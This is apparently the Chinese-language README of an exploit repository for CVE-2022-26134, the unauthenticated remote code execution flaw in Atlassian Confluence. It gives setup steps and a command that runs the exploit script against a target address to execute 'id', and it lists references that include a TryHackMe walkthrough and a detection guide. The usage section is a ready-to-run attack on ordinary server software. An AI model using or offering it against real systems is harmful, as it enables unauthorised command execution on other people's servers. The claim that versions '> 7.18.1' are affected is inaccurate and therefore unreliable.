CVE-2022-26134

2022年5月30日，一家名为 Volexity 的组织在 Atlassian 的 Confluence Server 和 Data Center 版本中识别出一个无需认证的远程代码执行（RCE）漏洞（NIST 评分为 9.8），受影响版本 > 7.18.1。

运行

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"

参考资料

• 我如何在48小时内黑掉一家财富500强公司并获得30,000,000用户的数据 – 作者 Legacy0x1
• CVE-2022-26134 TryHackMe 演练 – 作者 Aybala Sevinc
• 针对 Confluence CVE-2022-26134 零日漏洞的检测与指导